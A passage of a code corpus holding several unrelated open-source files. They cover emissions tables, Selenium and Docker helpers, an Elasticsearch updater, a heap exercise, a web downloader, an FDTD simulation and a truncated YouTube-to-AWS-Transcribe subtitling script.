'NDC_INDC'] not in ['NDC', 'INDC'])]\ncountries_with_indc = [xx for xx in meta.isos.EARTH if (type(ndcs.loc[xx, 'NDC_INDC']) == str and ndcs.loc[xx, 'NDC_INDC'] in ['NDC', 'INDC'])]\n\nyears_cov = [1990, 2000, 2010, 2017, 2020, 2030]\n\n# Gg (therefore including 1e-3).\nemi_cov = 1e-3 * hpf.import_table_to_class_metadata_country_year_matrix(Path(meta.path.pc_cov,\n 'KYOTOGHG_IPCM0EL_COV_EMI_SSP2BLMESGBFILLED_CORR.csv')).__reindex__(isos=meta.isos.EARTH, years=years_cov). \\\n data.loc[countries_with_indc, :].sum()\nemi_tot = kyotoghg_ipcm0el = 1e-3 * get_table(Path(meta.path.preprocess, 'tables', \n 'KYOTOGHG_IPCM0EL_TOTAL_NET_SSP2BLMESGB_PMSSPBIE.csv')).__reindex__(isos=meta.isos.EARTH, years=years_cov). \\\n data.sum()\npc_cov = 100. * emi_cov.div(emi_tot)\n\n# Create latex table with emi_tot, emi_cov and pc_cov.\ntxt = 'Year & ' + ' & '.join([str(xx) for xx in years_cov]) + \" \\\\\\\\\"\ntxt += '\\nTotal emissions (Gg CO$_2$eq AR4) & ' + ' & '.join(['{:.1f}'.format(xx) for xx in emi_tot]) + \" \\\\\\\\\"\ntxt += '\\nCovered emissions (Gg CO$_2$eq AR4) & ' + ' & '.join(['{:.1f}'.format(xx) for xx in emi_cov]) + \" \\\\\\\\\"\ntxt += '\\nShare of covered emissions (\\%) & ' + ' & '.join(['{:.1f}'.format(xx) for xx in pc_cov])\n\nhpf.write_text_to_file(txt, Path(meta.path.main, 'data', 'other', 'covered_emissions_table_latex.csv'))\n\n# %%\n# More data (coverage_orig, coverage_calc, coverage_used).\ncov_orig = pd.read_csv(\n Path(meta.path.preprocess, 'coverage_orig_per_gas_and_per_sector_and_combi.csv'), index_col=0)\ncov_orig = cov_orig.reindex(columns=[xx for xx in cov_orig.columns if ('_' not in xx and 'LULUCF' not in xx)]). \\\n reindex(index=countries_with_indc)\ncov_calc = pd.read_csv(\n Path(meta.path.preprocess, 'coverage_calc_per_gas_and_per_sector_and_combi.csv'), index_col=0)\ncov_calc = cov_calc.reindex(columns=[xx for xx in cov_calc.columns if ('_' not in xx and 'LULUCF' not in xx)]). \\\n reindex(index=countries_with_indc)\ncov_used = pd.read_csv(\n Path(meta.path.preprocess, 'coverage_used_per_gas_and_per_sector_and_combi.csv'), index_col=0). \\\n reindex(index=countries_with_indc)\n\nemi_kyoto_ipcm0el = 1e-3 * get_table(Path(meta.path.preprocess, 'tables', \n 'KYOTOGHG_IPCM0EL_TOTAL_NET_SSP2BLMESGB_PMSSPBIE.csv')).__reindex__(isos=meta.isos.EARTH, years=years_cov). \\\n data\nemi_countries_without_indc = emi_kyoto_ipcm0el.loc[countries_without_indc, :].sum()\n\n# %%\nyears_his = [1990, 2000, 2010, 2017]\nglobal_sums = pd.DataFrame(0,\n columns=years_his,\n index=['orig_YES_YES', 'orig_NO_NO', 'orig_NAN_NAN', 'orig_YES_NO', 'orig_YES_NAN', 'orig_NO_NAN',\n 'calc_YES_YES', 'calc_NO_NO', 'calc_NAN_NAN', 'calc_YES_NO', 'calc_YES_NAN', 'calc_NO_NAN',\n 'used_YES_YES', 'used_NO_NO', 'used_YES_NO'])\nfor cat in ['IPC1', 'IPC2', 'IPCMAG', 'IPC4', 'IPC5']:\n for gas in ['CO2', 'CH4', 'N2O', 'HFCS', 'PFCS', 'SF6', 'NF3']:\n try:\n emi_act = 1e-3 * get_table(Path(meta.path.preprocess, 'tables', \n f'{gas}_{cat}_TOTAL_NET_HISTCR_PRIMAPHIST21.csv')).__reindex__(isos=meta.isos.EARTH, years=years_his). \\\n data\n \n for combi in ['YES', 'YES'], ['NO', 'NO'], ['NAN', 'NAN'], ['YES', 'NO'], ['YES', 'NAN'], ['NO', 'NAN']:\n # orig\n isos = [xx for xx in cov_orig.index if \n (cov_orig.loc[xx, [cat, gas]].to_list() == combi or \n cov_orig.loc[xx, [cat, gas]].to_list() == [combi[1], combi[0]])]\n global_sums.loc[f\"orig_{combi[0]}_{combi[1]}\", :] = \\\n global_sums.loc[f\"orig_{combi[0]}_{combi[1]}\", :].add(\n emi_act.loc[isos, :].sum())\n # calc\n isos = [xx for xx in cov_calc.index if \n (cov_calc.loc[xx, [cat, gas]].to_list() == combi or \n cov_calc.loc[xx, [cat, gas]].to_list() == [combi[1], combi[0]])]\n global_sums.loc[f\"calc_{combi[0]}_{combi[1]}\", :] = \\\n global_sums.loc[f\"calc_{combi[0]}_{combi[1]}\", :].add(\n emi_act.loc[isos, :].sum())\n # used\n for combi in ['YES', 'YES'], ['NO', 'NO'], ['YES', 'NO']:\n isos = [xx for xx in cov_used.index if \n (cov_used.loc[xx, [cat, gas]].to_list() == combi or \n cov_used.loc[xx, [cat, gas]].to_list() == [combi[1], combi[0]])]\n global_sums.loc[f\"used_{combi[0]}_{combi[1]}\", :] = \\\n global_sums.loc[f\"used_{combi[0]}_{combi[1]}\", :].add(\n emi_act.loc[isos, :].sum())\n \n except:\n pass\n\n# %%\ntxt = 'Year & ' + ' & '.join([str(xx) for xx in years_cov]) + \" \\\\\\\\\"\ntxt += '\\nTotal emissions & ' + ' & '.join(['{:.1f}'.format(xx) for xx in emi_tot]) + \" \\\\\\\\\"\ntxt += '\\nCountries without (I)NDC & ' + ' & '.join(['{:.1f}'.format(xx) + '\\%'\n for xx in emi_countries_without_indc.div(emi_tot)*100]) + \" \\\\\\\\\"\nfor ind in global_sums.index:\n txt += f'\\n{ind.replace(\"_\", \" \")} & ' + ' & '.join(['{:.1f}'.format(xx) + '\\%' \n for xx in global_sums.loc[ind, :].div(emi_tot)*100]) + \" \\\\\\\\\"\n\nhpf.write_text_to_file(txt[:-3].replace('nan\\%', '--'), Path(meta.path.main, 'data', 'other', 'covered_emissions_table_long_latex.csv'))\n\n# %%","repo_name":"AnnGuenther/ndc_quantifications","sub_path":"py_files/additional_scripts/ndcs_covered_emissions_global.py","file_name":"ndcs_covered_emissions_global.py","file_ext":"py","file_size_in_byte":6350,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"13677270931","text":"# -*- coding: utf-8 -*-\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom fixture.session import SessionHelper\nfrom configs_for_tests.webdriver_config import IMPLICITLY_WAIT_TIMEOUT, CHROME_PATH, FF_PATH, \\\n WIN_CHROME_DRIVER, WIN_FF_DRIVER, LINUX_CHROME_DRIVER, LINUX_FF_DRIVER, HUB_ADDRESS, HUB_PORT\n\n\nclass Application:\n\n def __init__(self, baseurl, browser, current_os, use_hub):\n if current_os == 'windows':\n if browser == 'chrome':\n if use_hub:\n caps = DesiredCapabilities.CHROME\n caps['acceptInsecureCerts'] = True\n self.wd = webdriver.Remote(command_executor=f\"http://{HUB_ADDRESS}:{HUB_PORT}/wd/hub\",\n desired_capabilities=caps)\n else:\n webdriver.ChromeOptions.binary_location = CHROME_PATH\n self.wd = webdriver.Chrome(executable_path=WIN_CHROME_DRIVER)\n if browser == 'firefox':\n if use_hub:\n # Firefox by default ['acceptInsecureCerts'] = True\n self.wd = webdriver.Remote(command_executor=f\"http://{HUB_ADDRESS}:{HUB_PORT}/wd/hub\",\n desired_capabilities=DesiredCapabilities.FIREFOX)\n else:\n webdriver.FirefoxOptions.binary_location = FF_PATH\n self.wd = webdriver.Firefox(executable_path=WIN_FF_DRIVER)\n if current_os == 'linux':\n if browser == 'chrome':\n if use_hub:\n caps = DesiredCapabilities.CHROME\n caps['acceptInsecureCerts'] = True\n self.wd = webdriver.Remote(command_executor=f\"http://{HUB_ADDRESS}:{HUB_PORT}/wd/hub\",\n desired_capabilities=caps)\n else:\n self.wd = webdriver.Chrome(executable_path=LINUX_CHROME_DRIVER)\n if browser == 'firefox':\n if use_hub:\n self.wd = webdriver.Remote(command_executor=f\"http://{HUB_ADDRESS}:{HUB_PORT}/wd/hub\",\n desired_capabilities=DesiredCapabilities.FIREFOX)\n else:\n self.wd = webdriver.Firefox(executable_path=LINUX_FF_DRIVER)\n\n self.wd.delete_all_cookies()\n self.wd.maximize_window()\n self.wd.implicitly_wait(IMPLICITLY_WAIT_TIMEOUT)\n\n self.session = SessionHelper(self)\n self.baseurl = baseurl\n\n def open_home_page(self):\n wd = self.wd\n if not wd.current_url == self.baseurl:\n wd.get(self.baseurl)\n\n def destroy(self):\n self.wd.quit()\n","repo_name":"Beorld/test_example","sub_path":"fixture/application.py","file_name":"application.py","file_ext":"py","file_size_in_byte":2786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"26600219229","text":"import fiases.fias_data\nfrom time import sleep\nfrom fiases.address import import_address\nfrom fiases.houses import import_houses\nfrom fiases.fias_delta_update import update\nfrom fiases.fias_data import ES\nfrom fiases.snapshot import createFullSnapshot\nfrom elasticsearch.client import IndicesClient\nfrom elasticsearch.client import SnapshotClient\nfrom elasticsearch.client import TasksClient\n\nADDR_UPDATE_CNT=0\n\ndef importFull():\n houses = fiases.fias_data.Houses()\n import_houses(houses=houses)\n refreshIndex()\n\n address = fiases.fias_data.Address()\n import_address(address=address)\n refreshIndex()\n\ndef getSnapshotStatus():\n sn = SnapshotClient(ES) \n status = sn.get(repository=\"fias\",snapshot=\"fias_full\")\n return status;\n\ndef getStatus():\n SNAP_STATUS=\"INIT\"\n SNAP_STATUS = ES.indices.recovery(index=\"houses\")\n SNAP_STATUS = SNAP_STATUS['houses']['shards'][0]['stage']\n return SNAP_STATUS\n\n\ndef getRestoreStatus():\n SNAP_STATUS=\"INIT\"\n while SNAP_STATUS!=\"DONE\":\n sleep(5)\n SNAP_STATUS = ES.indices.recovery(index=\"houses\")\n SNAP_STATUS = SNAP_STATUS['houses']['shards'][0]['stage']\n if SNAP_STATUS !=\"DONE\": \n print(\". \", end=\"\")\n else:\n print(\"Finish!\")\n break\n\n\n\ndef updateFias():\n if not ES.indices.exists(address.INDEX):\n print(\"No ADDR index found. Start import full...\")\n importFull()\n else:\n ADDR_UPDATE_CNT=update(isDebug=True)\n createFullSnapshot()\n refreshIndex()\n fiases.fias_data.createTmpDir();\n return ADDR_UPDATE_CNT\n\n\ndef refreshIndex():\n IndicesClient(ES).refresh()\n IndicesClient(ES).flush()\n IndicesClient(ES).forcemerge()\n# updateFias()\n","repo_name":"u4097/elasticsearch-fias","sub_path":"fiases/fias_update.py","file_name":"fias_update.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"39"} +{"seq_id":"18362852809","text":"#-*- coding:utf-8; mode:python; indent-tabs-mode: nil; c-basic-offset: 2; tab-width: 2 -*-\n\nimport os\nfrom os import path\n\nfrom ..system.check import check\nfrom bes.system.log import logger\nfrom bes.text.text_line_parser import text_line_parser\n\nfrom collections import namedtuple\n\nfrom .docker_exe import docker_exe\nfrom .docker_util import docker_util\n\nclass docker_container(object):\n 'Class to deal with docker containers.'\n \n _logger = logger('docker')\n\n _container = namedtuple('_container', 'container_id, image, status, size, names')\n @classmethod\n def list_containers(clazz):\n 'Return a list of _container info tuples for all containers.'\n format_parts = [\n '{{.ID}}',\n '{{.Image}}',\n '{{.Status}}',\n '{{.Size}}',\n '{{.Names}}',\n ]\n args = [\n 'ps',\n '--all',\n '--format', '@@@'.join(format_parts),\n ]\n rv = docker_exe.call_docker(args, non_blocking = False)\n lines = docker_util.parse_lines(rv.stdout)\n return [ clazz._parse_container(line) for line in lines ]\n\n @classmethod\n def last_container(clazz):\n 'Return id of the last container that ran.'\n return docker_exe.call_docker('ps --last 1 --quiet').stdout.strip()\n \n @classmethod\n def remove_container(clazz, container_id, force = False, volumes = False):\n 'Remove the given container.'\n args = [ 'rm' ]\n if force:\n args.append('--force')\n if volumes:\n args.append('--volumes')\n args.append(container_id)\n docker_exe.call_docker(args)\n \n @classmethod\n def _parse_container(clazz, s):\n parts = s.split('@@@')\n assert len(parts) == 5\n names = parts.pop()\n size = parts.pop()\n status = clazz._parse_status(parts.pop())\n image = parts.pop()\n container_id = parts.pop()\n return clazz._container(container_id, image, status, size, names)\n\n @classmethod\n def _parse_status(clazz, s):\n if s.startswith('Up'):\n return 'running'\n elif s.startswith('Exited'):\n return 'exited'\n elif s.startswith('Created'):\n return 'created'\n else:\n assert False\n\n @classmethod\n def remove_all_exited(clazz):\n 'Remove all containers with the exited status.'\n containers = clazz.list_containers()\n for c in containers:\n if c.status == 'exited':\n clazz.remove_container(c.container_id)\n\n @classmethod\n def remove_all_running(clazz):\n 'Remove all containers with the running status.'\n containers = clazz.list_containers()\n for c in containers:\n if c.status == 'running':\n clazz.remove_container(c.container_id, force = True)\n\n @classmethod\n def create(clazz, image_id):\n 'Create a container with image_id.'\n return docker_exe.call_docker('create {}'.format(image_id)).stdout.strip()\n\n @classmethod\n def copy_file_from(clazz, container_id, remote_filename, local_filename,\n follow_link = False, archive_mode = False):\n 'Copy a file from a container.'\n options =[]\n if follow_link:\n options.append('--follow-link')\n if archive_mode:\n options.append('--archive')\n cmd = [ 'cp' ] + options + [\n '{}:{}'.format(container_id, remote_filename),\n local_filename,\n ]\n docker_exe.call_docker(cmd)\n","repo_name":"reconstruir/bes","sub_path":"lib/bes/docker/docker_container.py","file_name":"docker_container.py","file_ext":"py","file_size_in_byte":3219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"36964705781","text":"import sys\n\n\n# 힙에 값을 넣어주는 함수\ndef enque(n):\n global last\n last += 1\n heap[last] = n\n c = last\n p = c // 2\n # 부모가 있고 부모가 자식보다 작으��� 자리 바꿔주기\n while p and heap[p] < heap[c]:\n heap[p], heap[c] = heap[c], heap[p]\n c = p\n p = c // 2\n\n\n# 최대값 뽑기\ndef deque():\n global last\n # 리턴할 최대값\n tmp = heap[1]\n # 맨 끝값을 루트로 보내주고\n heap[1] = heap[last]\n # 리프노드 지우기\n last -= 1\n p = 1\n c = 2 * p\n # 나머지는 힙 조건 맞춰주기\n while c <= last:\n if c + 1 <= last and heap[c] < heap[c+1]:\n c += 1\n if heap[p] < heap[c]:\n heap[p], heap[c] = heap[c], heap[p]\n p = c\n c = 2 * p\n else:\n break\n return tmp\n\n\nN = int(sys.stdin.readline())\nlast = 0\n# N x N 크기의 배열이므로 0번 인덱스 제외한 길이의 리스트\nheap = [0] * (N**2 + 1)\n# 힙 생산\nfor _ in range(N):\n nums = list(map(int, sys.stdin.readline().split()))\n for num in nums:\n enque(num)\n# N번째 큰 수 찾으러 ㄱ\nfor _ in range(N):\n answer = deque()\nprint(answer)\n","repo_name":"yjohbjects/1d1a","sub_path":"xguu9604/week12/B2075.py","file_name":"B2075.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"ko","doc_type":"code","stars":4,"dataset":"github-code","pt":"39"} +{"seq_id":"35276722705","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Utility modules.\n\nThis module contains miscellaneous function used in every other packages and\nor modules.\n\nNotes\n-----\nIf module grow complex, there is a chance to group similar function\nin the new modules.\n\n\"\"\"\n\nimport math\nimport os\nimport pathlib\nimport urllib\n\nimport bs4\nimport requests\nimport tqdm\n\nfrom . import exception\n\n\n__all__ = [\n 'mkdir',\n 'clear_screen',\n 'is_url',\n 'get_200',\n 'make_soup',\n 'download',\n 'StatusCode'\n]\n\ndef mkdir(dirpath):\n \"\"\"Create a directory.\n\n Only create directory if ``dirpath`` is not exists.\n ``dirpath`` must be an object from ``pathlib.Path``\n\n Parameters\n ----------\n dirpath : :obj:`pathlib.Path`\n\n Returns\n -------\n bool\n True if successful, False otherwise.\n\n \"\"\"\n if not dirpath.exists():\n dirpath.mkdir()\n return True\n else:\n return False\n\ndef clear_screen():\n \"\"\"Clear terminal screen.\n\n Only work for Windows and UNIX-like OS.\n\n \"\"\"\n os.system('cls' if os.name == 'nt' else 'clear')\n\ndef is_url(url):\n \"\"\"Validate url.\n\n Parameters\n ----------\n url : str\n An url to validate.\n\n Returns\n -------\n bool\n True if valid url, False otherwise.\n\n \"\"\"\n try:\n result = urllib.parse.urlparse(url)\n return all([result.scheme, result.netloc])\n except AttributeError:\n return False\n\ndef get_200(url, max_retries=10, **options):\n \"\"\"Sends GET request until it get 200.\n\n By default, it will try 10 times before raise.\n\n Parameters\n ---------\n url : str\n URL that you want to GET\n max_retries : int, optional\n Decide how many times sending GET request before raise.\n user_agent : str, optional\n User agent that you want to use\n stream : bool, optional\n Decide if you want to stream or not.\n\n Returns\n -------\n :obj:`requests.Response`\n\n Raises\n ------\n HTTPError\n If `max_retries` exceeded.\n\n \"\"\"\n mozilla_ua = 'Mozilla/5.0 (Windows NT 6.1; Win64; x64)'\n user_agent = options['user_agent'] if 'user_agent' in options else mozilla_ua\n stream = options['stream'] if 'stream' in options else False\n\n headers = {'User-Agent': user_agent}\n\n for _ in range(max_retries):\n try:\n response = requests.get(url, headers=headers, verify=False)\n response.raise_for_status()\n except exception.HTTPError as error:\n # Sometimes certain website return server error\n # (Such as bad gateway), sometimes it can be fixed with make request\n # twice or thrice\n if error.code >= StatusCode.INTERNAL_SERVER_ERROR:\n continue\n else:\n raise HTTPError(error.url, error.code, error.msg, error.hdrs, error.fp)\n else:\n return response\n\ndef make_soup(url):\n \"\"\"Create `bs4.BeautifulSoup` object from url.\n\n Parameters\n ----------\n url : str\n URL that you want to scrap.\n\n Returns\n -------\n :obj:`bs4.BeautifulSoup`\n\n Raises\n ------\n exception.HTTPError\n From `mannou.util.get_200`\n\n \"\"\"\n response = get_200(url)\n return bs4.BeautifulSoup(response.text, 'html.parser')\n\ndef download(url, filepath):\n \"\"\"Downloader, with progress bar.\n\n Send GET request and save it to local computer.\n\n Parameters\n ----------\n url : str\n URL that you want to download.\n filepath : :obj:`str`\n Saved file location\n\n \"\"\"\n response = get_200(url, stream=True)\n\n # Total size in bytes.\n total_size = int(response.headers.get('content-length', 0))\n block_size = 1024\n wrote = 0\n with open(filepath, 'wb') as f:\n for data in tqdm.tqdm(response.iter_content(block_size),\n total=math.ceil(total_size//block_size),\n unit='KB',\n unit_scale=True):\n wrote = wrote + len(data)\n f.write(data)\n\n\nclass StatusCode:\n \"\"\"A bunch of HTTP status codes.\n\n Every HTTP status code stored in readable attributes name.\n\n \"\"\"\n OK = 200\n NOT_FOUND = 404\n INTERNAL_SERVER_ERROR = 500\n","repo_name":"ekadasa/mannou","sub_path":"mannou/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4208,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"39"} +{"seq_id":"75121714032","text":"import numpy\nimport tools\nimport numpy.fft as fft\nimport matplotlib.pyplot as plt\n\nclass Gaussian:\n '''\n Источник, создающий гауссов импульс\n '''\n\n def __init__(self, dg, wg, eps=1.0, mu=1.0, Sc=1.0, magnitude=1.0):\n '''\n magnitude - максимальное значение в источнике;\n dg - коэффициент, задающий начальную задержку гауссова импульса;\n wg - коэффициент, задающий ширину гауссова импульса.\n '''\n self.dg = dg\n self.wg = wg\n self.eps = eps\n self.mu = mu\n self.Sc = Sc\n self.magnitude = magnitude\n\n def getField(self, m, q):\n e = (q - m * numpy.sqrt(self.eps * self.mu) / self.Sc - self.dg) / self.wg\n return self.magnitude * numpy.exp(-(e ** 2))\n\nif __name__ == '__main__':\n # Волновое сопротивление свободного пространства\n W0 = 120.0 * numpy.pi\n\n # Число Куранта\n Sc = 1.0\n\n #Скорость света\n c = 3e8\n\n # Время расчета в отсчетах\n maxTime = 1700\n\n #Размер области моделирования в метрах\n X = 2\n\n #Размер ячейки разбиения\n dx = 4e-3\n\n # Размер области моделирования в отсчетах\n maxSize = int(X / dx)\n\n #Шаг дискретизации по времени\n dt = Sc * dx / c\n\n # Положение источника в отсчетах\n sourcePos = 50\n\n # Датчики для регистрации поля\n probesPos = [25,75]\n probes = [tools.Probe(pos, maxTime) for pos in probesPos]\n\n #1й слой диэлектрика\n eps1 = 2.5\n d1 = 0.6\n layer_1 = int(maxSize / 2) + int(d1 / dx)\n\n #2й слой диэлектрика\n eps2 = 1.5\n d2 = 0.05\n layer_2 = layer_1 + int(d2 / dx)\n\n #3й слой диэлектрика\n eps3 = 8\n\n # Параметры среды\n # Диэлектрическая проницаемость\n eps = numpy.ones(maxSize)\n eps[int(maxSize/2):layer_1] = eps1\n eps[layer_1:layer_2] = eps2\n eps[layer_2:] = eps3\n \n # Магнитная проницаемость\n mu = numpy.ones(maxSize - 1)\n\n Ez = numpy.zeros(maxSize)\n Hy = numpy.zeros(maxSize - 1)\n\n # Параметры гауссова импульса\n A0 = 100 # уровень ослабления сигнала в момент времени t=0\n Amax = 100 # уровень ослабления спектра сигнала на частоте Fmax\n Fmax = 5e9 # максимальная частота в спектре сигнала\n \n wg = numpy.sqrt(numpy.log(Amax)) / (numpy.pi * Fmax)\n dg = wg * numpy.sqrt(numpy.log(A0))\n\n wg = wg / dt\n dg = dg / dt\n\n dg_add = 20 # дополнительная задержка\n\n source = Gaussian(dg + dg_add, wg, eps[sourcePos], mu[sourcePos])\n\n # Ez[1] в предыдущий момент времени\n oldEzLeft = Ez[1]\n\n # Ez[-2] в предыдущий момент времени\n oldEzRight = Ez[-2]\n\n # Расчет коэффициентов для граничных условий\n tempLeft = Sc / numpy.sqrt(mu[0] * eps[0])\n koeffABCLeft = (tempLeft - 1) / (tempLeft + 1)\n\n tempRight = Sc / numpy.sqrt(mu[-1] * eps[-1])\n koeffABCRight = (tempRight - 1) / (tempRight + 1)\n \n # Параметры отображения поля E\n display_field = Ez\n display_ylabel = 'Ez, В/м'\n display_ymin = -1.1\n display_ymax = 1.1\n\n # Создание экземпляра класса для отображения\n # распределения поля в пространстве\n display = tools.AnimateFieldDisplay(maxSize,\n display_ymin, display_ymax,\n display_ylabel,dx)\n\n display.activate()\n display.drawProbes(probesPos)\n display.drawSources([sourcePos])\n display.drawBoundary(int(maxSize / 2))\n display.drawBoundary(layer_1)\n display.drawBoundary(layer_2)\n\n for q in range(maxTime):\n # Расчет компоненты поля H\n Hy = Hy + (Ez[1:] - Ez[:-1]) * Sc / (W0 * mu)\n\n # Источник возбуждения с использованием метода\n # Total Field / Scattered Field\n Hy[sourcePos - 1] -= Sc / (W0 * mu[sourcePos - 1]) * source.getField(0, q)\n\n # Расчет компоненты поля E\n Hy_shift = Hy[:-1]\n Ez[1:-1] = Ez[1:-1] + (Hy[1:] - Hy_shift) * Sc * W0 / eps[1:-1]\n\n # Источник возбуждения с использованием метода\n # Total Field / Scattered Field\n Ez[sourcePos] += (Sc / (numpy.sqrt(eps[sourcePos] * mu[sourcePos])) *\n source.getField(-0.5, q + 0.5))\n\n # Граничные условия ABC первой степени\n Ez[0] = oldEzLeft + koeffABCLeft * (Ez[1] - Ez[0])\n oldEzLeft = Ez[1]\n\n Ez[-1] = oldEzRight + koeffABCRight * (Ez[-2] - Ez[-1])\n oldEzRight = Ez[-2]\n\n # Регистрация поля в датчиках\n for probe in probes:\n probe.addData(Ez, Hy)\n\n if q % 5 == 0:\n display.updateData(display_field, q)\n\n display.stop()\n \n\n # Отображение сигнала, сохраненного в датчиках\n tools.showProbeSignals(probes, -1.1, 1.1, dt)\n\n \n # Построение падающего и отраженного спектров и\n # зависимости коэффициента отражения от частоты\n Fmin = 0e9\n Fmax = 5e9\n size = 2 ** 14\n df = 1 / (size * dt)\n f = numpy.arange(-size / 2 * df, size / 2 * df, df)\n\n # Расчет спектра падающего поля\n fall = numpy.zeros(maxTime)\n fall[:150] = probes[1].E[:150]\n fall_spectrum = numpy.abs(fft.fft(fall, size))\n fall_spectrum = fft.fftshift(fall_spectrum)\n\n # Расчет спектра отраженного поля\n scattered_spectrum = numpy.abs(fft.fft(probes[0].E, size))\n scattered_spectrum = fft.fftshift(scattered_spectrum)\n\n # Построение графиков\n plt.figure\n plt.plot(f, fall_spectrum / numpy.max(fall_spectrum))\n plt.plot(f, scattered_spectrum / numpy.max(fall_spectrum))\n plt.grid()\n plt.xlim(0, 6e9)\n plt.xlabel('f, Гц')\n plt.ylabel(r'$\\frac{S}{S_max}}$')\n plt.legend(['Спектр пад. сигнала','Спектр отр. сигнала'], loc=1)\n plt.show()\n\n plt.plot(f, scattered_spectrum / fall_spectrum)\n plt.grid()\n plt.xlim(Fmin, Fmax)\n plt.ylim(0, 1)\n plt.xlabel('f, Гц')\n plt.ylabel('|Г|')\n plt.show() \n","repo_name":"Desolnir/PZ4","sub_path":"task_04_m4o-506C_Teryukhin_D.A_8.py","file_name":"task_04_m4o-506C_Teryukhin_D.A_8.py","file_ext":"py","file_size_in_byte":6995,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"25762642003","text":"# subtitler.py\n# Trevor Pottinger\n# Tue Apr 28 19:50:37 PDT 2020\n\nimport argparse\nimport base64\nimport json\nimport math\nimport os\nimport subprocess\nimport sys\nimport time\nfrom typing import (Any, Dict, IO, List, Optional, Tuple)\nimport urllib.parse\n\ntry:\n import spleeter\nexcept ImportError:\n spleeter = None\n\nfrom align_lyrics import align, alignLyrics, normalizeTextContent\nfrom tsv2srt import tsv2srt\nfrom misc import urandom5\n\n\ndef youtubeVideoID(url: str) -> str:\n \"\"\"Given a URL, validate that its for Youtube, and return its ID\"\"\"\n obj = urllib.parse.urlparse(url)\n assert obj.scheme == 'https'\n assert obj.netloc == 'www.youtube.com'\n data = urllib.parse.parse_qs(obj.query)\n assert 'v' in data, 'Expected a \"v\" param, like \"?v=SOME_ID\"'\n assert len(data['v']) == 1, 'Expected a single \"v\" value, got %d values' % len(data['v'])\n return data['v'][0]\n\n\ndef mysystem_wrapper(\n dry_run: bool,\n command: List[str],\n output: Optional[IO] = None,\n) -> int:\n if dry_run:\n print(\" \".join(command))\n return 0\n res = subprocess.run(command, stdout=output)\n return res.returncode\n\n\ndef mysystem2(dry_run: bool, command: List[str]) -> Optional[str]:\n if dry_run:\n print(\" \".join(command))\n return None\n res = subprocess.run(command, stdout=subprocess.PIPE)\n stdout = res.stdout.decode('utf-8').replace('\\n', '')\n # Print this to be consistent with mysystem_wrapper...\n # TODO strip all the extra whitespace from aws list-transcription-jobs\n print(stdout)\n return stdout\n\n\ndef downloadVideo(url: str, video_id: str, dry_run: bool) -> str:\n mysystem = lambda command: mysystem_wrapper(dry_run, command)\n # --no-cache-dir is to avoid some 403 errors\n # see https://github.com/ytdl-org/youtube-dl/issues/6451\n # --no-playlist is in case someone tries passing in a playlist URL\n # --merge-output-format mkv is because sometimes ffmpeg can't merge\n # the data correctly, https://github.com/ytdl-org/youtube-dl/issues/20515\n _resp = mysystem([\n 'python3',\n '-m',\n 'youtube_dl',\n '--no-cache-dir',\n '--no-playlist',\n '--all-subs',\n url,\n '--output',\n 'data/downloads/{video_id}.%(ext)s'.format(\n video_id=video_id\n ),\n ])\n files = [f for f in os.listdir('data/downloads') if f.startswith(video_id)]\n if dry_run and len(files) == 0:\n files = ['{video_id}.dummy.mkv'.format(video_id=video_id)]\n assert len(files) > 0, 'Expected at least one video file like %s.*' % video_id\n return files[0]\n\n\ndef extractAudio(video_file: str, video_id: str, dry_run: bool) -> None:\n mysystem = lambda command: mysystem_wrapper(dry_run, command)\n # supported file types: mp3 | mp4 | wav | flac\n # from https://docs.aws.amazon.com/transcribe/latest/dg/API_TranscriptionJob.html#transcribe-Type-TranscriptionJob-MediaFormat\n _resp = mysystem([\n 'ffmpeg',\n '-n',\n '-i',\n 'data/downloads/{video_file}'.format(video_file=video_file),\n 'data/audios/{video_id}.wav'.format(video_id=video_id),\n ])\n return\n\n\ndef maybeSpleeter(video_id: str, dry_run: bool) -> None:\n global spleeter\n if spleeter is None:\n print('spleeter is not installed', file=sys.stderr)\n mysystem = lambda command: mysystem_wrapper(dry_run, command)\n resp = mysystem([\n 'python3',\n '-m',\n 'spleeter',\n 'separate',\n '-p',\n 'spleeter:2stems',\n '-o',\n 'data/audios/',\n 'data/audios/{video_id}.wav'.format(video_id=video_id),\n ])\n if resp != 0:\n print('spleeter failed to run. Return code = %d' % resp, file=sys.stderr)\n spleeter = None\n return\n _resp = mysystem([\n 'ffmpeg',\n '-n',\n '-i',\n 'data/audios/{video_id}/vocals.wav'.format(video_id=video_id),\n '-map_channel',\n '0.0.0',\n 'data/audios/{video_id}/vocals_left.wav'.format(video_id=video_id),\n '-map_channel',\n '0.0.1',\n 'data/audios/{video_id}/vocals_right.wav'.format(video_id=video_id),\n ])\n return\n\n\ndef uploadAudioToAws(bucket: str, video_id: str, dry_run: bool) -> None:\n mysystem = lambda command: mysystem_wrapper(dry_run, command)\n # Result should be https://s3.console.aws.amazon.com/s3/buckets/subtitler1/?region=us-east-2\n audio_format = 'data/audios/{video_id}.wav'\n if spleeter is not None:\n # TODO figure out how to pass multi channel to GCP\n audio_format = 'data/audios/{video_id}/vocals_left.wav'\n audio_file = audio_format.format(video_id=video_id)\n _resp = mysystem([\n 'python3',\n '-m',\n 'awscli',\n 's3',\n 'cp',\n audio_file,\n 's3://{bucket}/{video_id}.wav'.format(bucket=bucket, video_id=video_id),\n ])\n return\n\n\ndef startAwsTranscriptJob(\n job_id: str,\n lang: str,\n bucket: str,\n video_id: str,\n region: str,\n dry_run: bool,\n) -> None:\n mysystem = lambda command: mysystem_wrapper(dry_run, command)\n job_obj = {\n 'TranscriptionJobName': job_id,\n 'LanguageCode': lang,\n 'MediaFormat': 'wav',\n 'Media': {\n 'MediaFileUri': 'https://{bucket}.s3.{region}.amazonaws.com/{video_id}.wav'.format(\n bucket=bucket,\n video_id=video_id,\n region=region,\n ),\n },\n 